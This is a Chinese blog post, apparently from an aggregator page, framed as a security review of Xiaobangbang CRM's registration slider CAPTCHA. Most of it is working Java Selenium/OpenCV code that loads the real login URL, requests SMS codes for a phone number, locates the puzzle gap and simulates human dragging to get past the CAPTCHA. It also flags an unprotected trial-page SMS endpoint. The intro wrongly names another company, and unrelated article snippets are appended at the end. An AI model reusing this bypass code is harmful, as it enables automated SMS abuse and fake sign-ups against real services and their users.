当前位置: 首页 > news >正文

【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 销帮帮PC 注册入口

简介:杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。
在这里插入图片描述

在这里插入图片描述

二、 安全性分析报告:

销帮帮自研的滑动验证码,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上,该网站存在一个试用页面入口无任何防御的问题。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是销帮帮自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,难点:防模拟器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分,目前采用的是物理鼠标的方式。
这次还是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分

1. 模拟器交互部分

	private OpenCv2 openCv2 = new OpenCv2(64, 128);private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();Thread.sleep(100);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);phoneElemet.sendKeys(phone);// 点击获取验证码WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));sendElement.click();Thread.sleep(1000);// pic 1 get bigWebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));String bigSrc = bigImgElement.getAttribute("src");byte[] bigBytes = GetImage.imgStrToByte(bigSrc);int bigLen = (bigBytes != null) ? bigBytes.length : 0;if (bigLen < 100) {System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);return null;}// pic 2 get smallWebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));String smallSrc = smallImgElement.getAttribute("src");byte[] smallBytes = GetImage.imgStrToByte(smallSrc);int smallLen = (smallBytes != null) ? smallBytes.length : 0;if (smallLen < 100) {System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);return null;}String ckSum = GenChecksumUtil.genChecksum(bigBytes);Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);if (openResult == null || openResult.size() < 2) {System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);return null;}Double r = 1.0;BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);int distance = disD.intValue();boolean isRobot = true;int beginX = 827;int beginY = 659;if (isRobot) {RobotMove.move(beginX, beginY, distance);} else {WebElement moveElement = driver.findElement(By.className("verify-left-bar"));ActionMove.move(driver, moveElement, distance);}System.out.println("distance=" + distance);Thread.sleep(1000);WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);String info = (infoElement != null) ? infoElement.getText() : null;retEntity.setMsg(info);if (info != null && info.contains("(")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;}}

2. 距离识别


/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xSystem.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}

3. 轨道生成及移动算法

/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}

4. 图片比对结果测试样例:

在这里插入图片描述

四丶结语

杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了同行滑动验证码的经验后,自己研发了独特风格的那个验证码, 从逆向代码来看, 不仅借鉴了同行的技术原理,还在防抓取上下了功夫,防模拟器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分,目前采用的是物理鼠标的方式。
从这点看,的确让初级黑客止步,但本质上, 前端技术都是暴露在浏览器,不管是JS 注入还是后端代理模式,都会让这些小技巧无效。
另一方面,该网站试用页面入口短信验证无任何验证,存在被盗刷短信的隐患。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关文章:

【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告 前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨…...

2024年下半年系统分析师论文

2024年下半年11月份系统分析师考试论文 1、静态测试工具和方法 可以从代码桌前检查&#xff0c;代码审查&#xff0c;代码走查组织文章 2、DevOps开发 可以从开发&#xff0c;运维&#xff0c;测试的自动化协作入手&#xff0c;跨部门沟通需求也算 3、业务流程分析 从BPR…...

【计算机网络】万字详解 UDP 和 TCP

&#x1f970;&#x1f970;&#x1f970;来都来了&#xff0c;不妨点个关注叭&#xff01; &#x1f449;博客主页&#xff1a;欢迎各位大佬!&#x1f448; 文章目录 1. UDP1.1 UDP 报文格式1.1.1 源端口/目的端口1.1.2 报文长度1.1.3 校验和 2. TCP2.1 TCP 报文结构2.2 TCP 特…...

创建者模式之【建造者模式】

建造者模式 概述 将一个复杂对象的构建与表示分离&#xff0c;使得同样的构建过程可以创建不同的表示。 分离了部件的构造(由Builder来负责)和装配(由Director负责)。 从而可以构造出复杂的对象。这个模式适用于&#xff1a;某个对象的构建过程复杂的情况。由于实现了构建和…...

电商系统中,如何解决部分商品在短时间大量访问的单一热点问题?------Range范围分片

在电商系统中&#xff0c;部分商品在短时间内遭受大量访问的单一热点问题&#xff0c;可能引发服务器压力增大、响应速度变慢、甚至系统崩溃等问题。为了解决这一问题&#xff0c;可以采取以下策略&#xff1a; 一、增加服务器容量和带宽 提升硬件性能&#xff1a;为了应对高…...

利用VMware workstation pro 17安装 Centos7虚拟机以及修改网卡名称

通过百度网盘分享的文件&#xff1a;安装虚拟机必备软件 链接&#xff1a;https://pan.baidu.com/s/1rbYhDh8x1hTzlSNihm49EA?pwdomxy 提取码&#xff1a;omxy 123网盘 https://www.123865.com/s/eXPrVv-UsKch 提取码:eNcy 先自行安装好VMware workstation pro 17 设置虚拟机…...

前端 性能优化 (图片与样式篇)

文章目录 前端能够做哪些图片优化?1、减小图片体积2、图片缓存服务工作线程 (Service Workers)缓存IndexDB缓存图片LocalStorage缓存 3、图片懒加载使用 loading"lazy" 属性 4、不同分辨率下使用不同的图片5、使用webp格式的图片6、配置图片CDN7、减少图片和动图的使…...

A021基于Spring Boot的自习室管理和预约系统设计与实现

&#x1f64a;作者简介&#xff1a;在校研究生&#xff0c;拥有计算机专业的研究生开发团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339; 赠送计算机毕业设计600…...

量化交易系统开发-实时行情自动化交易-Okex市场深度数据

19年创业做过一年的量化交易但没有成功&#xff0c;作为交易系统的开发人员积累了一些经验&#xff0c;最近想重新研究交易系统&#xff0c;一边整理一边写出来一些思考供大家参考&#xff0c;也希望跟做量化的朋友有更多的交流和合作。 接下来聊聊基于Okex交易所API获取市场深…...

Qt教程(006):QMainWindow主窗口

文章目录 6.1 菜单栏和工具栏6.2 状态栏6.3 铆接部件QMainWindow是一个为用户提供主窗口程序的类,包含一个菜单栏 (menu bar)、多个工具栏 (tools bar)、多个错接部件 (dock widgets)、一个状态栏 (status bar)及一个中心部件 (central widget),是许多应用程序的基础,…...

测试用例的设计

测试用例的概念 什么是测试⽤例&#xff1f; 测试⽤例&#xff08;Test Case&#xff09;是为了实施测试⽽向被测试的系统提供的⼀组集合&#xff0c;这组集合包含&#xff1a;测试环境、操作步骤、测试数据、预期结果等要素。 比如我们买回来了一个新电视&#xff0c;要进行测…...

代码随想录训练营Day20 | 93.复原IP地址 - 78.子集 - 90.子集II

93.复原IP地址 题目链接&#xff1a;93.复原IP地址思路&#xff1a; 做法和分割回文字符串那题类似&#xff0c;是对字符串进行切割&#xff1b;本题需要多几个条件&#xff0c;就是每次回溯字符串的长度最多三位&#xff0c;字符串对应的数值必须 在[0, 255]之间&#xff0c;…...

[Meachines] [Medium] MonitorsThree SQLI+Cacti-CMS-RCE+Duplicati权限提升

信息收集 IP AddressOpening Ports10.10.11.30TCP:22&#xff0c;80 $ nmap -p- 10.10.11.30 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | …...

Elasticsearch专栏-4.es基本用法-查询api

es基本用法-查询api 说明查询所有某一字段匹配查询多字段查询bool查询范围查询精确查询正则匹配模糊查询结果处理 说明 es对数据的检索&#xff0c;总结下来就是两部分&#xff0c;即查询和处理。查询指的是查找符合条件的数据&#xff0c;包括查询所有、匹配查询、布尔查询、…...

jmeter基础04_设置外观和字体

1、设置外观 默认跟随系统风格&#xff0c;你可以试一试选择自己喜欢的风格。&#xff08;浅色模式/深色模式…&#xff09; 操作&#xff1a;菜单栏“选项” - “外观”&#xff0c;选择外观风格。 2、放缩显示比例&#xff08;重启后复原&#xff09; “选项” - “放大/缩小…...

重构代码之替换参数为显式方法

替换参数为显式方法 是一种重构技术&#xff0c;旨在通过替换方法参数来创建更清晰、更具可读性的代码。当一个方法包含标志性参数时&#xff0c;该方法的行为可能会根据参数的不同而发生改变。这样会导致方法的调用方式不够明确&#xff0c;因为调用者不一定能直观地知道每个参…...

三菱QD77MS定位模块速度限制功能

“速度限制功能”是控制中的指令速度超过“速度限制值”的情况下&#xff0c;将指令速度限制在“速度限制值”的设置范围内的功能。 [1]速度限制功能与各控制的关系 速度限制功能”与各控制的关系如下所示。 [3]速度限制功能的设置方法 使用“速度限制功能”时&#xff0c;在如…...

Axure PR 9 多级下拉选择器 设计交互

​ 大家好&#xff0c;我是大明同学。 Axure选择器是一种在交互设计中常用的组件&#xff0c;这期内容&#xff0c;我们来探讨Axure中多级下拉选择器设计与交互技巧。 下拉列表选择输入框元件 创建选择输入框所需的元件 1.在元件库中拖出一个矩形元件。 2.选中矩形元件&…...

Java基础使用②Java数据变量和类型+小知识点

目录 1. Java小知识点 1.1 Java注释 1.2 Java标识符命名 1.3 Java关键字 2. 字面常量和数据变量 2.1 字面常量 2.2 数据类型 3.变量 3.1 变量概念 3.2 语法格式 3.3 整型变量 3.4 浮点型变量 3.5 字符型变量 3.6 布尔型变量 3.7 类型转换 3.8 类型提升 4. 字符…...

从 HTTP 到 HTTPS 再到 HSTS:网站安全的演变与实践

近年来&#xff0c;随着域名劫持、信息泄漏等网络安全事件的频繁发生&#xff0c;网站安全变得越来越重要。这促使网络传输协议从 HTTP 发展到 HTTPS&#xff0c;再到 HSTS。本文将详细介绍这些协议的演变过程及其在实际应用中的重要性。 一、HTTP 协议 1.1 HTTP 简介 HTTP&…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

抖音增长新引擎:品融电商,一站式全案代运营领跑者

抖音增长新引擎&#xff1a;品融电商&#xff0c;一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中&#xff0c;品牌如何破浪前行&#xff1f;自建团队成本高、效果难控&#xff1b;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...

家政维修平台实战20:权限设计

目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系&#xff0c;主要是分成几个表&#xff0c;用户表我们是记录用户的基础信息&#xff0c;包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题&#xff0c;不同的角色&#xf…...

《通信之道——从微积分到 5G》读书总结

第1章 绪 论 1.1 这是一本什么样的书 通信技术&#xff0c;说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号&#xff08;调制&#xff09; 把信息从信号中抽取出来&am…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…...

AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机

这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机&#xff0c;因为在使用过程中发现 Airsim 对外部监控相机的描述模糊&#xff0c;而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置&#xff0c;最后在源码示例中找到了&#xff0c;所以感…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...